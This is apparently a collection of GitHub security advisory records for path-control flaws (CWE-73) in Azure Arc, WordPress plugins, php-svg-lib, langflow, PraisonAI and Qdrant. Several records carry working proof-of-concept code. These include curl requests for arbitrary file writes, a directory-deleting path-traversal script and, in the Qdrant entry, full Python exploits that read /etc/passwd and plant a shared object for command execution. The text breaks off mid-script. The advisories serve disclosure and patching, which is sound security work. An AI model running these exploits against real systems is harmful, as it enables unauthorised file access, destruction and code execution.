CWE-73

{
  "affected": [],
  "aliases": [
    "CVE-2025-55316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:16:07Z",
    "severity": "HIGH"
  },
  "details": "External control of file name or path in Azure Arc allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-cxfc-2cj3-gw3w",
  "modified": "2025-09-09T18:31:23Z",
  "published": "2025-09-09T18:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55316"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55316"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-0246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-11T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The settings of the iQ Block Country WordPress plugin before 1.2.13 can be exported or imported using its backup functionality. An authorized user can import preconfigured settings of the plugin by uploading a zip file. After the uploading process, files in the uploaded zip file are extracted one by one. During the extraction process, existence of a file is checked. If the file exists, it is deleted without any security control by only considering the name of the extracted file. This behavior leads to \"Zip Slip\" vulnerability.",
  "id": "GHSA-cxp6-jhjh-h4hg",
  "modified": "2022-04-16T00:01:12Z",
  "published": "2022-04-12T00:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0246"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/892802b1-26e2-4ce1-be6f-71ce29687776"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-4332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-07T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Plus Addons for Elementor plugin for WordPress is vulnerable to arbitrary file reads in versions up to, and including 4.1.9 (pro) and 2.0.6 (free). The plugin has a feature to add an \"Info Box\" to an Elementor created page. This Info Box can include an SVG image for the box. Unfortunately, the plugin used file_get_contents with no verification that the file being supplied was an SVG file, so any user with access to the Elementor page builder, such as contributors, could read arbitrary files on the WordPress installation.",
  "id": "GHSA-f2r6-p94g-v5c4",
  "modified": "2026-04-08T21:31:48Z",
  "published": "2023-03-07T15:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4332"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2523506%40the-plus-addons-for-elementor-page-builder\u0026new=2523506%40the-plus-addons-for-elementor-page-builder\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa698e7e-b1c7-4ead-aa2e-7fbfc9dfac80"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa698e7e-b1c7-4ead-aa2e-7fbfc9dfac80?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phenx/php-svg-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25117"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-21T18:04:16Z",
    "nvd_published_at": "2024-02-21T17:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nphp-svg-lib fails to validate that font-family doesn\u0027t contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn\u0027t validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\n### Details\nThe Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\n```\n                if (\n                    \\array_key_exists(\"font-family\", $styles)\n                    \u0026\u0026 (\n                        \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n                        || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n                    )\n                ) {\n                    unset($style[\"font-family\"]);\n                }\n```\n\n### PoC \n\nParsing the following SVG : \n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nwill pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\n### Impact\nLibraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib",
  "id": "GHSA-f3qr-qr4x-j273",
  "modified": "2024-02-21T19:33:13Z",
  "published": "2024-02-21T18:04:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-f3qr-qr4x-j273"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/php-svg-lib/commit/732faa9fb4309221e2bd9b2fda5de44f947133aa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/php-svg-lib/commit/8ffcc41bbde39f09f94b9760768086f12bbdce42"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/php-svg-lib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "php-svg-lib lacks path validation on font through SVG inline styles "
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-5823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-29T13:15:07Z",
    "severity": "MODERATE"
  },
  "details": "A file overwrite vulnerability exists in gaizhenbiao/chuanhuchatgpt versions \u003c= 20240410. This vulnerability allows an attacker to gain unauthorized access to overwrite critical configuration files within the system. Exploiting this vulnerability can lead to unauthorized changes in system behavior or security settings. Additionally, tampering with these configuration files can result in a denial of service (DoS) condition, disrupting normal system operation.",
  "id": "GHSA-f3xm-22x6-vg3g",
  "modified": "2024-10-29T15:32:05Z",
  "published": "2024-10-29T15:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gaizhenbiao/chuanhuchatgpt/commit/720c23d755a4a955dcb0a54e8c200a2247a27f8b"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/ca361701-7d68-4df6-8da0-caad4b85b9ae"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-19T22:53:13Z",
    "nvd_published_at": "2025-12-19T18:15:51Z",
    "severity": "HIGH"
  },
  "details": "**Vulnerability Overview**\n\nIf an arbitrary path is specified in the request body\u0027s `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.\n\n**Vulnerable Code**\n\n1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168\n    \n    ```python\n    @router.post(\"/\", response_model=FlowRead, status_code=201)\n    async def create_flow(\n        *,\n        session: DbSession,\n        flow: FlowCreate,\n        current_user: CurrentActiveUser,\n    ):\n        try:\n            db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)\n            await session.commit()\n            await session.refresh(db_flow)\n    \n            await _save_flow_to_fs(db_flow)\n    \n        except Exception as e:\n    ```\n    \n2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38\n    \n    ```python\n    CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]\n    CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]\n    DbSession = Annotated[AsyncSession, Depends(get_session)]\n    ```\n    \n3. The client can directly specify the save path, including `fs_path`.\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70\n    \n    ```python\n    ):\n        try:\n            await _verify_fs_path(flow.fs_path)\n    \n            \"\"\"Create a new flow.\"\"\"\n    ```\n    \n4. It attempts to create the file (or *the* file, in the case of a path without a parent) directly without path validation.\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49\n    \n    ```python\n    async def _verify_fs_path(path: str | None) -\u003e None:\n        if path:\n            path_ = Path(path)\n            if not await path_.exists():\n                await path_.touch()\n    ```\n    \n5. Serializes the Flow object to JSON and writes it to the specified path in \"w\" mode (overwriting).\n    \n    https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58\n    \n    ```python\n    async def _save_flow_to_fs(flow: Flow) -\u003e None:\n        if flow.fs_path:\n            async with async_open(flow.fs_path, \"w\") as f:\n                try:\n                    await f.write(flow.model_dump_json())\n                except OSError:\n                    await logger.aexception(\"Failed to write flow %s to path %s\", flow.name, flow.fs_path)\n    ```\n    \n\n**PoC Description**\n\nWhen an authenticated user passes an arbitrary path in `fs_path`, the Flow JSON is written to that path. Since `/tmp` is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.\n\n**PoC**\n\n- **Before Exploit**\n   \n\n    \u003cimg width=\"1918\" height=\"658\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d\" /\u003e\n    \n- **After Exploit**\n    \n    ```bash\n    curl -sS -X POST \"http://localhost:7860/api/v1/flows/\" \\\n      -H \"Content-Type: application/json\" \\\n      -H \"x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc\" \\\n      -d \u0027{\"name\":\"poc-etc\",\"data\":{\"nodes\":[],\"edges\":[]},\"fs_path\":\"/tmp/POC.txt\"}\u0027\n    ```\n    \n    \u003cimg width=\"1918\" height=\"742\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174\" /\u003e\n    \n\n### Impact\n\n- **Authenticated Arbitrary File Write (within server permission scope):** Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.\n- **Both absolute and relative paths are allowed, enabling base directory traversal.** The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.\n- **The file content is limited to Flow JSON,** but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.\n- **In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.**",
  "id": "GHSA-f43r-cc68-gpx4",
  "modified": "2026-06-06T00:36:53Z",
  "published": "2025-12-19T22:53:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-f43r-cc68-gpx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68478"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2025-125.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "External Control of File Name or Path in Langflow"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.57"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.6.0"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:24:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nPraisonAI\u0027s template loader accepts GitHub template URIs with refs, for example\n`github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled\ntemplate path and ref verbatim, and the cache layer later joins those values into\n`~/.praison/cache/templates/github/\u003cowner\u003e/\u003crepo\u003e/\u003ctemplate\u003e/\u003cref\u003e` without\nnormalizing each segment or checking that the final path remains inside the\ntemplate cache root.\n\nA crafted ref such as `../../../../../../outside-delete-target` therefore\nescapes the cache directory. The first load can write `.cache_meta.json` outside\nthe cache. If the normal cache hierarchy for the same owner/repo/template has\nalready been created, the same path reaches `shutil.rmtree(cache_path)` and\nremoves an attacker-selected outside directory before replacing it with cache\nmetadata.\n\nThis is distinct from the old template Zip Slip advisory. No malicious archive\nmember is needed, and the PoV disables network access entirely. The bug is in\ncache-key construction for GitHub template URIs.\n\n## Affected versions\n\nConfirmed vulnerable:\n\n- `v2.6.0`\n- `v3.9.24`\n- `v3.9.26`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.9`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nRecommended affected range: `\u003e= 2.6.0, \u003c= 4.6.57`.\n\nNo fixed version is known at the time of this report.\n\n## Impact\n\nAn attacker who can cause a user or service to load an attacker-supplied\nPraisonAI GitHub template URI can:\n\n- create `.cache_meta.json` outside the template cache directory;\n- delete a directory reachable by the PraisonAI process after a normal cache\n  entry exists for the same owner/repo/template prefix;\n- corrupt user configuration, project state, or application data reachable by\n  the process permissions.\n\n## Root cause\n\nCurrent-head code path:\n\n- `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref`\n  with broad regex groups and returns them without segment validation.\n- `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources\n  by default when `allow_any_github` is true.\n- `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI,\n  fetches the template, calculates a checksum, then calls `self.cache.put(...)`.\n- `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as\n  `self.cache_dir / \"github\" / resolved.owner / resolved.repo /\n  resolved.path / ref`.\n- `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with\n  `shutil.rmtree(cache_path)`, recreates it, copies content, and writes\n  `.cache_meta.json`.\n\nThere is no check equivalent to:\n\n1. reject absolute path segments;\n2. reject `.` / `..` in owner, repo, template path, or ref;\n3. resolve the candidate path;\n4. require `os.path.commonpath([cache_root, candidate]) == cache_root`.\n\n## Local-only PoV\n\nRun from a PraisonAI source checkout:\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonai.templates.cache import TemplateCache\nfrom praisonai.templates.loader import TemplateLoader\nfrom praisonai.templates.registry import TemplateRegistry\n\ndef loader(cache_dir):\n    cache = TemplateCache(cache_dir=cache_dir)\n    registry = TemplateRegistry(cache=cache, offline=False)\n    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(\n        RuntimeError(\"network disabled\")\n    )\n    return TemplateLoader(cache=cache, registry=registry)\n\nwith TemporaryDirectory(prefix=\"prai-cache-ref-pov-\") as tmp:\n    root = Path(tmp)\n    cache_dir = root / \"cache\" / \"templates\"\n\n    write_target = root / \"outside-write-target\"\n    loader(cache_dir).load(\n        \"github:attacker/repo/template@../../../../../../outside-write-target\"\n    )\n\n    delete_target = root / \"outside-delete-target\"\n    delete_target.mkdir()\n    canary = delete_target / \"canary.txt\"\n    canary.write_text(\"delete-me\")\n\n    ldr = loader(cache_dir)\n    ldr.load(\"github:attacker/repo/template@main\")\n    ldr.load(\n        \"github:attacker/repo/template@../../../../../../outside-delete-target\"\n    )\n\n    safe_target = root / \"safe-control\"\n    safe_target.mkdir()\n    safe_canary = safe_target / \"canary.txt\"\n    safe_canary.write_text(\"must-remain\")\n    loader(root / \"safe-cache\" / \"templates\").load(\n        \"github:attacker/repo/template@main\"\n    )\n\n    print(\"outside metadata written:\", (write_target / \".cache_meta.json\").exists())\n    print(\"outside canary exists after malicious ref:\", canary.exists())\n    print(\"safe canary exists after normal ref:\", safe_canary.exists())\n```\n\nExpected output:\n\n```text\noutside metadata written: True\noutside canary exists after malicious ref: False\nsafe canary exists after normal ref: True\n```\n\nThe PoV uses only temporary directories and disables network fetches.\n\nI also confirmed the same behavior without monkeypatching network fetches. With\na non-existent GitHub repository, PraisonAI makes real GitHub requests, handles\nthe failed fetch, returns a fallback template config, and still writes/deletes\nthrough the escaped cache path. The PoV above disables network only to keep the\nreproducer deterministic and harmless.\n\n## Release sweep\n\nThe same PoV was run against checked-out tags:\n\n```text\npraisonai-current metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True\npraisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True\npraisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True\npraisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True\n```\n\n`git log` shows the affected template cache/resolver/registry files were added\nin the `v2.6.0` release commit `e7a8ce8e`.\n\n\n## Suggested fix\n\nValidate every cache path segment before joining:\n\n- owner and repo: strict GitHub owner/repo-name regex;\n- template path: split on `/` and reject empty, `.`, `..`, and absolute forms;\n- ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute\n  forms, or encode/hash the ref before using it in a filesystem path.\n\nThen enforce a final boundary check:\n\n```python\ncache_root = self.cache_dir.resolve()\ncandidate = (cache_root / \"github\" / owner / repo / safe_path / safe_ref).resolve()\nif os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):\n    raise ValueError(\"template cache path escapes cache root\")\n```\n\nA more robust design is to hash untrusted URI fields into opaque directory names\ninstead of using raw remote identifiers as path segments.\n\nAlso consider failing closed when a GitHub template fetch returns no files.\nCurrently a failed fetch can still result in a cached empty template directory.",
  "id": "GHSA-f44v-7qgw-9gh9",
  "modified": "2026-07-20T21:24:05Z",
  "published": "2026-06-18T14:24:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f44v-7qgw-9gh9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-38165"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-13T18:15:23Z",
    "severity": "MODERATE"
  },
  "details": "Windows Compressed Folder Tampering Vulnerability",
  "id": "GHSA-f5qp-6qph-5f2c",
  "modified": "2024-08-13T18:31:16Z",
  "published": "2024-08-13T18:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38165"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38165"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "qdrant"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.3"
            },
            {
              "fixed": "1.15.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:22:50Z",
    "nvd_published_at": "2026-02-06T21:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n    static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don\u0027t matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"log_level\":\"INFO\",\n    \"on_disk\":{\n      \"enabled\":true,\n      \"format\":\"text\",\n      \"log_level\":\"INFO\",\n      \"buffer_size_bytes\":1,\n      \"log_file\":\"config/local.yaml\"\n    }\n  }\u0027\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{}\u0027\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n\u003cpress Enter\u003e\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"config/local.yaml\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n    f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n    json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn\u0027t exist!\" in error:\n    print(\"[+] Log injection successful\")\nelse:\n    print(f\"[-] Error: {error}\")\n    sys.exit(1)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"\u0027\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include \u003cstdlib.h\u003e\n#include \u003cunistd.h\u003e\n\n__attribute__((constructor))\nvoid init() {\n    unlink(\"/etc/ld.so.preload\");\n    system(\"/bin/bash -c \u0027XXXXXXXX\u0027\");\n}\n\"\"\".replace(\u0027XXXXXXXX\u0027, args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n        f.write(so_code)\n    os.system(f\u0027gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c\u0027)\n    cmd_so = open(f\u0027{tmpdir}/cmd.so\u0027, \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"/etc/ld.so.preload\",\n        },\n    